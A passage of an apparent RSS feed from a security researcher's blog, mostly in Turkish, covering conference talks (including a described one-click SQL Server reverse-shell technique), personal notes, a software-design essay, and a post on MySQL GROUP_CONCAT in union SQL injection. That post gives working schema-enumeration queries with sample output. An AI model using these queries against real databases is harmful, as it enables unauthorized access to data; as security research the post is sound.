&lt;/p&gt;&lt;p&gt;Alexander Kornbrust' ın &lt;a href="http://www.red-database-security.com/wp/oracle_sql_injection_2009.pdf"&gt;ORACLE SQL Injection prezentasyonu&lt;/a&gt; süperdi. Kesinlikle &lt;a href="http://labs.portcullis.co.uk/application/bsql-hacker/"&gt;BSQL Hacker'&lt;/a&gt; a ORACLE ile ilgili template ve &lt;a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/"&gt;SQL Injection&lt;/a&gt; tespit güncellemesi yapacağım. Yılda ancak 2-3 ORACLE testi yaptığımdan o kısımda biraz paslıydım, bu sunum ve sunumdan sonra kendisi ile ettiğimiz muhabbetten sonra ORACLE' ın için kendimi hazır hissediyorum. Sunumun başları çok temel olduğundan ilk 30dk. sını atladım diyebilirim, ama ilk yarıdan sonrası harikaydı. Yeni bir şey yok ama konuyu en iyi şekilde aktarmayı başardı.
&lt;/p&gt;&lt;p&gt;Ben &lt;a href="http://www.slideshare.net/fmavituna/one-click-ownage-it-underground-2009"&gt;One Click Ownage&lt;/a&gt; isimli bir sunum yaptım. Temel olarak bir tıkla SQL Server' dan reverse shell alma ya da benzer bir kod çalıştırmayı gösterdim. Bu önceden CSRF saldırıları ile SQL Server' ı exploit etme olanağı da sağlıyor. Her ne kadar bu nadir bir durum olsa da daha önceden bu tip bir şey mümkün olarak gözükmüyordu ve bu yöntem ile artık yapılabilir. Ek olara otomasyonuda çok kolay olan bir saldırı. Ben bir süredir kendi testlerimde kullanıyorum ve TFT/FTP vs. gibi aksiyonlara girmeden 20 sn. içerisinde reverse shell' e düşmek gerçekten keyifli bir durum.
&lt;/p&gt;&lt;p&gt;Kendi sunumum ile ilgili kod, script ve uygulamaları yakında yayınlayacağım.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yHAjE-HYU3KSmznhxaWUBOhTDUk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yHAjE-HYU3KSmznhxaWUBOhTDUk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yHAjE-HYU3KSmznhxaWUBOhTDUk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yHAjE-HYU3KSmznhxaWUBOhTDUk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=s8u7TY4N3XM:T1s1ezFHdOA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=s8u7TY4N3XM:T1s1ezFHdOA:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=s8u7TY4N3XM:T1s1ezFHdOA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=s8u7TY4N3XM:T1s1ezFHdOA:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=s8u7TY4N3XM:T1s1ezFHdOA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=s8u7TY4N3XM:T1s1ezFHdOA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/s8u7TY4N3XM" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/tunderground-2009-un-ardindan-oku/</guid>
  <comments>http://ferruh.mavituna.com/tunderground-2009-un-ardindan-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/tunderground-2009-un-ardindan-oku/</feedburner:origLink></item>
<item>
  <title>IT Underground – Prague 2009</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/PI1QJHcUcrk/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Per, 19 Mar 2009 20:15:14 +0300</pubDate>
  <description>&lt;p style="text-align: center"&gt;&lt;a href="http://www.itunderground.org/prt/view/scheduleprague.html"&gt;&lt;img src="http://ferruh.mavituna.com//blogs/upload/031909_1815_ITUndergrou1.gif" alt="" /&gt;&lt;/a&gt;
	&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.itunderground.org/prt/view/scheduleprague.html"&gt;IT Underground Prague 2009&lt;/a&gt;' da bu salı günü (&lt;strong&gt;&lt;em&gt;24 Mart&lt;/em&gt;&lt;/strong&gt;) "One Click Ownage" isimli bir sunum yapıyor olacağım inşallah. Konferanstan dönünce bu sunum yapcağım konuda da bir blog yazmayı düşünüyorum. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ac13kIF7K1ao6vF438ZQngrzCuk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ac13kIF7K1ao6vF438ZQngrzCuk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ac13kIF7K1ao6vF438ZQngrzCuk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ac13kIF7K1ao6vF438ZQngrzCuk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=PI1QJHcUcrk:JsJrY70al_g:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=PI1QJHcUcrk:JsJrY70al_g:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=PI1QJHcUcrk:JsJrY70al_g:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=PI1QJHcUcrk:JsJrY70al_g:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=PI1QJHcUcrk:JsJrY70al_g:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=PI1QJHcUcrk:JsJrY70al_g:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/PI1QJHcUcrk" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/t-underground--prague-2009-oku/</guid>
  <comments>http://ferruh.mavituna.com/t-underground--prague-2009-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/t-underground--prague-2009-oku/</feedburner:origLink></item>
<item>
  <title>Bir Mim, Bir Kitap, Bir Hayat</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/BF0nYpSWnNc/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 13 Mar 2009 09:59:38 +0300</pubDate>
  <description>&lt;p&gt;Bu aralar blog performansım çok kötü ama bunun güzel nedenleri var. Yeni projeler peşindeyim, uzun süredir ertelediğim işleri canlandırma peşindeyim, o yüzden RSS okuyucunuzun ayarları ile oynamayın...
&lt;/p&gt;&lt;h2&gt;Bir Mim
&lt;/h2&gt;&lt;p&gt;Onur, &lt;a href="http://www.onuryilmaz.info/Icerik/40-mim--kitap-yazsaydim-ne-uzerine-olurdu.aspx"&gt;Kitap Yazsaydım Ne Üzerine olurdu?&lt;/a&gt; diye sormuş, sonradan topu atıp kaçmış. Aslında her zaman gerçek ya da gerçek olabilecek teknikler kullanan bir grup hacker' ın kurgusal maceralarını yazmak istemiştimdir ama vakit ve kabiliyetsizlik gibi nedenlerden dolayı bir türlü fırsatım olmadı. &lt;a href="http://www.librarything.com/work/7496067/book/15781131"&gt;How to Own The Box&lt;/a&gt; ama daha iyi kurgu ya da Dan Brown' un &lt;a href="http://www.librarything.com/work/878/book/15780965"&gt;Deception Point&lt;/a&gt;' i ama daha iyi teknik gibi.
&lt;/p&gt;&lt;p&gt;Mim' i yorum yapanlara paslıyorum, ilginizi çekiyorsa hemen sitenizde devam edin yorumlara da adresinizi yazın, biz de okuyalım.
&lt;/p&gt;&lt;h2&gt;Bir Kitap
&lt;/h2&gt;&lt;p&gt;Sevgili eşim bana &lt;a href="http://www.librarything.com/work/book/41748398"&gt;The 80/20 Principle: The Secret of Achieving More with Less&lt;/a&gt;' ı almış.  Onu okumaya başladım, &lt;a href="http://en.wikipedia.org/wiki/Pareto_principle"&gt;Pareto Prensibi&lt;/a&gt; zaten bildiğim çok uzun zamandır da yer yer uygulamaya çalıştığım şeylerden biri ancak kitap olayı çok daha derin ve kanıtlarla, gerçek örnekler ile ortaya koyuyor ki, gerçekten etkileyici. 
&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Equality ends in dominance
&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;gibi direk damardan girdiği ve insanı derin düşüncelere sevkettiği bir çok yer var.
&lt;/p&gt;&lt;h2&gt;Bir Hayat
&lt;/h2&gt;&lt;p&gt;Evli insanlar için hiçbir zaman bir hayat yoktur, "&lt;strong&gt;iki hayat&lt;/strong&gt;" desek dağa doğru olacak. Bu aralar her zamanki gibi hayatımda değişiklikler yapmaya çalışıyorum. &lt;strong&gt;Taşınmak, işimi değerlendirmek, projeleri hayata geçirmek vs.  &lt;/strong&gt;gibi&lt;strong&gt;
		&lt;/strong&gt;şeylerle uğraşıyorum. Eşim' de &lt;a href="http://www.homeshowroom.com.tr/"&gt;Homeshowroom&lt;/a&gt; ' da "&lt;strong&gt;Evin Delisi&lt;/strong&gt;" köşesinde yazmaya başladı, onu da buradan tebrik etmek istedim :)*
&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;p&gt;&lt;em&gt;* Sanırım bir blog yazısında ilk defa smile kullandım, çok heyecanlıyım&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/miiiohSRRc5wiGefJpGqQ65YrLg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/miiiohSRRc5wiGefJpGqQ65YrLg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/miiiohSRRc5wiGefJpGqQ65YrLg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/miiiohSRRc5wiGefJpGqQ65YrLg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=BF0nYpSWnNc:rdHVBlC4aH8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=BF0nYpSWnNc:rdHVBlC4aH8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=BF0nYpSWnNc:rdHVBlC4aH8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=BF0nYpSWnNc:rdHVBlC4aH8:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=BF0nYpSWnNc:rdHVBlC4aH8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=BF0nYpSWnNc:rdHVBlC4aH8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/BF0nYpSWnNc" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/bir-mim-bir-kitap-bir-hayat-oku/</guid>
  <comments>http://ferruh.mavituna.com/bir-mim-bir-kitap-bir-hayat-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/bir-mim-bir-kitap-bir-hayat-oku/</feedburner:origLink></item>
<item>
  <title>Doğu Akdeniz Üniversitesi Bilişim Haftası</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/Ma8REsm0rqQ/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 10 Mar 2009 20:43:35 +0300</pubDate>
  <description>&lt;p&gt;Şimdi bu etkinliği son anda iptal edildiğinin haberini aldım, dolayısıyla Bu Pazartesi Kıbrısta olmayacağım. Yok ille de senin bir konferansına geleceğim diyen varsa bu ayın sonundaki &lt;a href="http://itunderground.org/prt/view/scheduleprague.html"&gt;IT Underground' a beklerim&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_KZJ-viwVZmujorNSz8q39Jthjg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_KZJ-viwVZmujorNSz8q39Jthjg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_KZJ-viwVZmujorNSz8q39Jthjg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_KZJ-viwVZmujorNSz8q39Jthjg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=Ma8REsm0rqQ:SW5uqkG92rI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=Ma8REsm0rqQ:SW5uqkG92rI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=Ma8REsm0rqQ:SW5uqkG92rI:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=Ma8REsm0rqQ:SW5uqkG92rI:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=Ma8REsm0rqQ:SW5uqkG92rI:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=Ma8REsm0rqQ:SW5uqkG92rI:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/Ma8REsm0rqQ" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/dogu-akdeniz-universitesi-bilisim-haftasi-oku/</guid>
  <comments>http://ferruh.mavituna.com/dogu-akdeniz-universitesi-bilisim-haftasi-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/dogu-akdeniz-universitesi-bilisim-haftasi-oku/</feedburner:origLink></item>
<item>
  <title>GROUP_CONCAT MySQL SQL Injection</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/3ZRWQo7Ayqo/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 02 Mar 2009 20:07:29 +0300</pubDate>
  <description>&lt;p&gt;Apparently &lt;a href="http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html" title="GROUP_CONCAT()"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;GROUP_CONCAT()&lt;/span&gt;&lt;/a&gt; is already known by many people, except me! I've just found it. It allows to get multiple rows as a string. This makes it a perfect candidate for one-row union SQL Injections. There is one catch though, by default it returns only 1024 characters (&lt;em&gt;global option, can't be set via an SQL Injection&lt;/em&gt;) which is not enough for one query sql-dump sorts of tricks. &lt;br/&gt;&lt;br/&gt;However this simple query can be useful for enumerating tables and columns together in fewer requests:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SELECT CONCAT(table_name,'&gt;',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
&lt;/li&gt;&lt;li&gt;SELECT CONCAT(table_name,'&gt;',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
&lt;/li&gt;&lt;li&gt;SELECT CONCAT(table_name,'&gt;',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
&lt;/li&gt;&lt;li&gt;SELECT CONCAT(table_name,'&gt;',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT &lt;strong&gt;n&lt;/strong&gt;,1
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;
 &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Output will be look like:
&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;'db&gt;Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Grant_priv'
&lt;/li&gt;&lt;li&gt;'help_category&gt;help_category_id,name,parent_category_id,url'
&lt;/li&gt;&lt;li&gt;'help_keyword&gt;help_keyword_id,name'
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Damn! I should update &lt;a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" title="SQL Injection Cheat Shee"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;SQL Injection Cheat Sheet&lt;/span&gt;&lt;/a&gt; and &lt;a href="http://www.sqlinjectionwiki.com/" title="SQL Injection Wiki"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;SQL Injection Wiki&lt;/span&gt;&lt;/a&gt; , lots to catch up...&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cwp69F0-U-7BquRSqYMCSGs7ntU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cwp69F0-U-7BquRSqYMCSGs7ntU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cwp69F0-U-7BquRSqYMCSGs7ntU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cwp69F0-U-7BquRSqYMCSGs7ntU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=3ZRWQo7Ayqo:1yDW2W3AqVk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=3ZRWQo7Ayqo:1yDW2W3AqVk:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=3ZRWQo7Ayqo:1yDW2W3AqVk:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=3ZRWQo7Ayqo:1yDW2W3AqVk:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=3ZRWQo7Ayqo:1yDW2W3AqVk:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=3ZRWQo7Ayqo:1yDW2W3AqVk:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/3ZRWQo7Ayqo" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/groupconcat-mysql-sql-njection-oku/</guid>
  <comments>http://ferruh.mavituna.com/groupconcat-mysql-sql-njection-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/groupconcat-mysql-sql-njection-oku/</feedburner:origLink></item>
<item>
  <title>Yazılım Geliştirmenin İki Yolu</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/8dPrE02hRB4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 02 Mar 2009 09:42:58 +0300</pubDate>
  <description>&lt;p&gt;Diyelim ki bir uygulama için raporlama fonksiyonu geliştiriyorsunuz. Bu raporların CVS ve HTML formatını desteklemeleri gerekiyor. Bu durumda iki seçeneğiniz var:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div&gt;İki fonksiyon yazmak
&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Rapor datasını alıp CSV çıktı üreten bir fonksiyon,
&lt;/li&gt;&lt;li&gt;Rapor datasını alıp HTML çıktı üreten bir fonksiyon.
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Bir raporlama sistemi yazmak;
&lt;/div&gt;&lt;ul&gt;&lt;li&gt;CSV ve HTML için iki şablon tasarlanır,
&lt;/li&gt;&lt;li&gt;Raporlama sistemine Rapor Datası verilir,
&lt;/li&gt;&lt;li&gt;Raporlama sistemine Rapor Şablonu verilir,
&lt;/li&gt;&lt;li&gt;Raporlama sistemi bu iki bilgiyi birleştirip raporları oluşturur,
&lt;/li&gt;&lt;li&gt;Bu altyapı kullanıcıdan gizlenir içeride kullanılır. Gerekirse gelişmiş kullanıcılarda bu rapor sistemini kullanarak daha sonradan yeni rapor tipleri üretebilirler. Mesela XML rapor alabilirler.
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Birinci yolun avantajları ve dezavantajları:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Hızlı bir şekilde sonuca ulaşmak, kodun çok daha basit olması.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;İkinci Yolun Avantajları
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Prezantasyon ile datanın temiz şekilde ayrılmış olması,
&lt;/li&gt;&lt;li&gt;Daha sonradan yeni bir rapor formatı gerektiğinde tekrar kod yazmaya gerek olmaması,
&lt;/li&gt;&lt;li&gt;Daha sonradan bu fonksiyonun kullanıcılara açılabilmesi.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;Şimdi geniş ölçekte farklı yolları seçen yazılımları görelim:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Internet Explorer&lt;/strong&gt;&lt;br/&gt;Birinci yolu seçen yazılımlardan. 
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Firefox&lt;/strong&gt;&lt;br/&gt;İkinci yolu seçen yazılımlardan. Firefox bir onlarca fonksiyonu XUL Framework' ü üzerine inşa etti. Dolayısla aynı raporlama sistemi gibi XUL sistemini yazdılar. Daha sonradan geniş bir API ile onu desteklediler ve aynı herhangi biri Firefox için eklenti (addon) yazarmış gibi Firefox' un iç sistemini geliştirdiler. Daha sonrada bunu kullanıcıya açtılar. Açılan API çok güçlüydü çünkü geliştiriler XUL ile bir şeyler geliştirirken API yüzünden tıkandıklarında API' ı geliştirdiler dolayısıyla tüm sistem çok daha güçlü bir hal aldı.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;Benzer örneklerden gidersek Macromedia' nın hemen hemen tüm ürünleri de aynı şekilde geliştirilmiştir. Ana motor JavaScript + Macromedia' nın güçlü API larını destekler. Aynı XUL gibi JavaScript ve bu API' lar birleştirilerek extension' lar yazılabilir. Eğer Dreamweaver, Flash gibi yazılımların altyapılarını incelerseniz ana sistemden sonraki hemen hemen tüm yazılımın JavaScript ile yazılmış olduğunu görebilirsiniz.  Yani bu kodları değiştirerek aslında tüm yazılım arabirimlerine kadar değiştirebilir ya da yeni fonksiyonalite ekleyebilirsiniz. &lt;br/&gt;&lt;br/&gt;Burada bence unutulmaması gereken şey geliştirilen yazılımın boyutudur. Yani Macromedia ya da Firefox bu tip bir framework' ü destekleyebilir ama küçük bir takım için bu seçim büyük bir yanlış olabilir. Ama raporlama sistemi küçük olduğundan tek kişi olarak çalışan bir geliştirici bile raporlama sistemini özel bir çözüm yerine bu şekilde genel bir çözüm olarak geliştirebilir. &lt;br/&gt;&lt;br/&gt;Benim naçizane fikrim iyi programcılar her zaman ikinci genel çözümü yapmak ister, ancak &lt;a href="http://ferruh.mavituna.com/uber-programcinin-hayat-rehberi-oku/" title="hayatın gerçekleri"&gt;hayatın gerçekleri&lt;/a&gt; işin yönünü değiştirebilir.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lzAAM5cv3lFjGjZbROT_LzT_Ed0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lzAAM5cv3lFjGjZbROT_LzT_Ed0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lzAAM5cv3lFjGjZbROT_LzT_Ed0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lzAAM5cv3lFjGjZbROT_LzT_Ed0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=8dPrE02hRB4:OIs6tpPRgvQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=8dPrE02hRB4:OIs6tpPRgvQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=8dPrE02hRB4:OIs6tpPRgvQ:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=8dPrE02hRB4:OIs6tpPRgvQ:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=8dPrE02hRB4:OIs6tpPRgvQ:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=8dPrE02hRB4:OIs6tpPRgvQ:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/8dPrE02hRB4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yazilim-gelistirmenin-iki-yolu-oku/</guid>
  <comments>http://ferruh.mavituna.com/yazilim-gelistirmenin-iki-yolu-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yazilim-gelistirmenin-iki-yolu-oku/</feedburner:origLink></item>
<item>
  <title>Sakin</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/6AcUAUVi-so/</link>
  <author>Ferruh Mavituna</author>
